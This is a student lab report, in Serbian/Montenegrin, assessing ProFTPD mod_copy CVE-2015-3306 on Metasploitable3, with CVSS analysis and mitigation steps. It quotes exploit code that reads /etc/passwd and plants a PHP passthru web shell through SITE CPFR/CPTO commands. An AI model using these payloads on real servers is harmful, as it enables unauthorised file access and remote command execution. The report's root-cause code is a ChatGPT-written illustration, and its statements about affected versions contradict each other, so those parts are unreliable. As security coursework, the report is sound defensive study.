Vulnerability Assessment Report Template

Ime i prezime: Katarina Vučić
Tim: 3
Datum: 1.11.2024.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2015-3306

- **Opis:**
  Ukratko upišite ranjivost i način na koji ona pogađa servis. Dajte detaljne informacije o servisu (npr., ime servisa, port, protokol…).

  ProFTPD mod_copy Information Disclosure

  Ova ranjivost ekspolatiše problem sa ProFTPD-om, popularnim FTP serverom, posebno u mod_copy modulu. Ovaj modul dozvoljava fajlovima da budu kopirani na različite lokacije na istom serveru koristeći FTP komande. Nepravilna konfiguracija na ProFTP verzijama starijim od 1.3.5 omogućava neautorizovanim korisnicima da pročitaju bilo koji fajl na serveru. To se dešava zbog manjka restrikcija na SITE CPFR (kopiraj sa) i SITE CPTO (kopiraj na) komanadi.

  Port: 21 / tcp / ftp

---

2. CVSS skor

- **CVSS skor (numerička vrednost):** 9.8 (Base score – inherentna ozbiljnost ranjivosti)

  Privremen (temporal) skor je: 9.1 (on zavisi od trenutne mogućnosti eksploatacije i dostupnosti zakrpa).
- **Vektor:**
  Opišite vektor string (npr. `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`) opišite svaku pojedinačnu komponentu.
  CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AV – Attack Vector. Opisuje kako ranjivost može biti eksploatisana. Vrijednost – N (Network). Napadač može da eksploatiše ranjivost i kada je udaljen, putem interneta. Ovaj tip ranjivosti je generalno rizičniji.
U ovom slučaju napadač putem mreže može da koristi komande FTPD protokola i neautorizovano pristupi fajlovima.
AC – Attack Complexity (kompleksnost napada). Opisuje koliko je kompleksno da se ranjivost eksploatiše. Vrijednost: L (low). Označava da je ranjivost lako eksploatisati. Predstavlja visok rizik.
Nije potrebno posebno tehničko znanje (korišćenje komandi za kopiranje) da bi se ranjivost iskorisila.
PR – Privileges Required (zahtjevane privilegije). Opisuje da li napadač treba određene privilegije da bi eksploatisao ranjivost. Vrijednost: N (None). Označava da nisu potrebne nikakve privilegije. Takođe, povećava rizik za napade.
Napadaču nije potrebna autentifikacija ni posebne privilegije da bi koristio komande za kopiranje.
UI – User Interaction (interakcija korisnika). Govori da li je napadaču potrebna pomoć od strane korisnika da bi se ranjivost eksploatisala. Vrijednost: N (None). Nije potrebna pomoć korisnika. Povećava rizik.
S – Scope. Definiše scope uspješnog napada (da li će djelovati samo na ranjivu komponentu ili ima uticaja i na ostale komponente). Vrijednost: U (unchanged). Znači da utiče samo na ranjivu komponentu. Ovo ograničava pogođenu površinu, na taj način je manji uticaj na cijeloukupan sistem.
Iako ranjivost omogućava pristup fajlovima, ona se ograničava na ProFTPD server i ne utiče direktno na širi sistem.
C – Confidentialty (povjerljivost). Definiše uticaj na povjerljivost podataka. Vrijednost: H (high). Napadač može dobiti pristup osjetljivim podacima, kao što je neautorizovano čitanje fajlova.
Može se pristupiti bilo kom fajlu na serveru, uključujući i potencijalno osjetljive podatke (poput lozinki, konfiguracionih fajlova…).
I – Integrity (integritet). Definiše uticaj na integritet podataka (da li podaci mogu biti izmijenjeni). Vrijednost: H (high). Napdač može mijenjati podatke u sistemu, čime ozbiljno narušava integritet.
Ova ranjivost može omogućiti i modifikaciju podatka kroz kopiranje fajlova u različite diretkorijume. Ovo izaziva komporomitovanje pouzdanosti podataka na serveru.
A – availability (dostupnost). Definiše da li ranjivost može uticati na dostupnost servisa. Vrijednost: H (High). Ranjivost može izazvati nedostuponst servisa, ometati rad sistema ili onemogućiti njegovo pravilno funkcionisanje.
Napadač može koristiti ranjivost za prepisivanje kritičnih fajlova i zauzimanje prostora na disku putem kopiranja. To može onemogućiti ili otežati rad servera. Tako je ugrožena dostuponst FTP servera.

Opravdanje:

Zašto ova ranljivost ima dodeljen ovaj CVSS skor? Diskutujte o faktorima kao što su eksploatabilnost, impact i obim ranljivosti.

Ova ranjivost ima skor 9.8, zbog čega se uvrštava u kritičnu kategoriju ranjivosti. Ranjivost može biti lako eksploatisana (putem interneta) i kompleksnost izvođenja napada je niska. Takođe, nisu potrebne posebne priviligije niti interakcija sa korisnikom. Što se tiče uticaja (impact-a), ova ranjivost može da otkrije povjerljive podatke, dovesti do modifikacije informacija, koja uključuje i mogućnost ometanja normalnog rada servera. Međutim, iako ranjivost ima visok uticaj, ona je ograničena na ProFTPD server i ne utiče na druge sisteme i mreže.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):**
  Izvršite pretragu (npr. Exploit-DB, GitHub, blog postovi) za javno dostupan eksploit koji je vezan za ovaj CVE.

  Da
- **Opis eksploita:**
  Ako postoji eksploit, navedite detalje o tome kako funkcioniše, šta cilja, i koje su potencijalne posledice uspešnog napada.
  Eksploiti su pronađeni na Exploit-DB-u i GitHub-u.
  Postoji ekspoit koja koristi mod_copy funkcionalnost za daljinsko izvršavanje komandi na sistemima koji koriste ovu verziju softvera. Ova funkcionalnost omogućava napadačima da iz daljine izvrše komande na ciljanom softveru, što može dovesti do kompromitacija sistema.

  Kako funkcioniše
  Eksploit koristi nepravilno postavljenu kontrolu pristupa u mod_copy modulu koji omogućava komandama kao što su COPY i MOVE da pristupe bez adekvatinih dozvola. Napadač može da koristi ovu funkcionalnost za:
  1. Pristup i kopiranje osjetljivih podataka sa servera
  2. Daljinsko izvršavanje komandi kreiranjem skripti na serveru kroz premiještanje datoteka
  3. Kreiranje ili premiještanje sistemskih datoteka što može dovesti do komporomitovanja cijelog sistema

  Šta cilja
  Cilj eksploita je omogućiti neautorizovan pristup osjetljivim podacima. Takođe, moguće je ciljati i narušavanje dostupnosti sistema kroz ugrožavanje sistemskih datoteka.

  Potencijalne posljedice uspješnog napada
  - Gubitak povjerljivosti – pristup osjetljivim informacijama
  - Integritet sistema - napadač može kreirati, brisati i mijenjati datoteke
  - Dostupnost – ako napadač prepiše ključne sistemske datoteke ili resurse, može uzrokovati pad sistema

- **Kod eksploita (ukoliko postoji):**
  Objasnite srž eksploita, dajte screenshot koda (samo glavni dio)

  Slika 1 prikazuje kod eksploita koji je preuzet sa https://www.exploit-db.com/exploits/49908.

```
def exploit(client, target):
    client.connect((target,21)) # Connecting to the target server
    banner = client.recv(74)
    print(banner.decode())
    client.send(b'site cpfr /etc/passwd\r\n')
    print(client.recv(1024).decode())
    client.send(b'site cpto <?php phpinfo(); ?>\r\n') # phpinfo() is just a PoC.
    print(client.recv(1024).decode())
    client.send(b'site cpfr /proc/self/fd/3\r\n')
    print(client.recv(1024).decode())
    client.send(b'site cpto /var/www/html/test.php\r\n')
    print(client.recv(1024).decode())
    client.close()
    print('Exploit Completed')
```

Slika 1 Kod eksploita

```
- client.send(b'site cpfr /etc/passwd\r\n') # demonstrira čitanje osjetljivih
    informacija
- client.send(b'site cpto <?php phpinfo(); ?>\r\n')  # demonstrira pisanje PHP
    koda
```

Slika 2 je preuzeta sa https://www.exploit-db.com/exploits/37262. Na ovoj slici smo izdvojili dio koda koji kopira fajl sa putanje /proc/self/cmdline, koji može da sadrži osjetljive informacije. Kopirani podaci se stavljaju na privremenu putanju sa ugrađenim PHP kodom koji može da okida komande proslijeđene kao URL parametri. Za to se koristi *passthru($_GET[\'#{get_arg}\']);* . Potom je privremeni fajl kopiran u direktorijum website-a, kreirajući maliciozni PHP fajl.
Kada je PHP fajl kreiran, pristupa mu se putem HTTP GET zahtjeva i na taj način se izvršavaju komande na serveru.

```
sock.puts("SITE CPFR /proc/self/cmdline\r\n")
res = sock.get_once(-1, 10)
unless res && res.include?('350')
  fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline")
end

sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
res = sock.get_once(-1, 10)
unless res && res.include?('250')
  fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file")
end

sock.put("SITE CPFR #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
res = sock.get_once(-1, 10)
unless res && res.include?('350')
  fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file")
end
```

Slika 2 Drugi primjer eksploita

Još jedan kod eksploita je pronađen na GitHub repozitorijumu https://github.com/t0kx/exploit-CVE-2015-3306. Zbog sličnosti sa prethodnim primjerima, isječci koda će biti izostavljeni.

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Istražite kako je ranljivost uvedena. Identifikujte verziju, tačan commit, ili biblioteku koja je izazvala ranljivost (npr. "Uvedeno u verziji X zbog neadekvatne validacije u biblioteci Y").

  Ranjivost CVE-2015-3306 u ProFTPD je uvedena u verziji 1.3.5 kroz uključivanje modula mod_copy u sistem. Kada je ranjivost otkirvena, savjetovano je da se uradi upgrade verzije ili onemogući mod_copy.

- **Primer Koda (ako je primenljivo):**

  Pružite primer koda koji je glavni krivac, ako je dostupan.

  Dolje je ostavljen pojednostavljen primjer koda koji objašnjava kako je ranjivost nastala. Kod je pružio ChatGPT.

```
/* Vulnerable command implementation in mod_copy.c */


int mod_copy_copy_file(cmd_rec *cmd) {
```

```
    /* Simplified, missing checks for permissions */
    const char *src_path = cmd->argv[1];
    const char *dst_path = cmd->argv[2];

    /* Perform copy without sufficient authorization checks */
    if (perform_copy(src_path, dst_path) != 0) {
        /* Handle error */
    }
    return PR_HANDLED(cmd);
}
```

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da
- **Mitigation Strategy:**
  Kako se konkretno apply-uje gore navedeni fix/patch, preporuka alata koji to može odraditi automatski…

  Kao što je ranije navedeno, nakon što je ranjivost otkrivena, preporučeno je da se uradi upgrade vezije ili da se isključi mod_copy opcija.

  Komande za upgrade verzije:

  1. *sudo apt update*
  2. *sudo apt install proftpd*
  3. *proftpd -v* (provjera verzije)

  Komande za isključivanje mod_copy opcije

  1. Pronaći konfiguracioni fajl (obično na putanji /etc/proftpd/proftpd.conf)
  2. *sudo nano /etc/proftpd/proftpd.conf*
  3. Zakomentarisati liniju #*LoadModule mod_copy.c*
  4. Restartovati ProFTPD *sudo systemctl restart proftpd*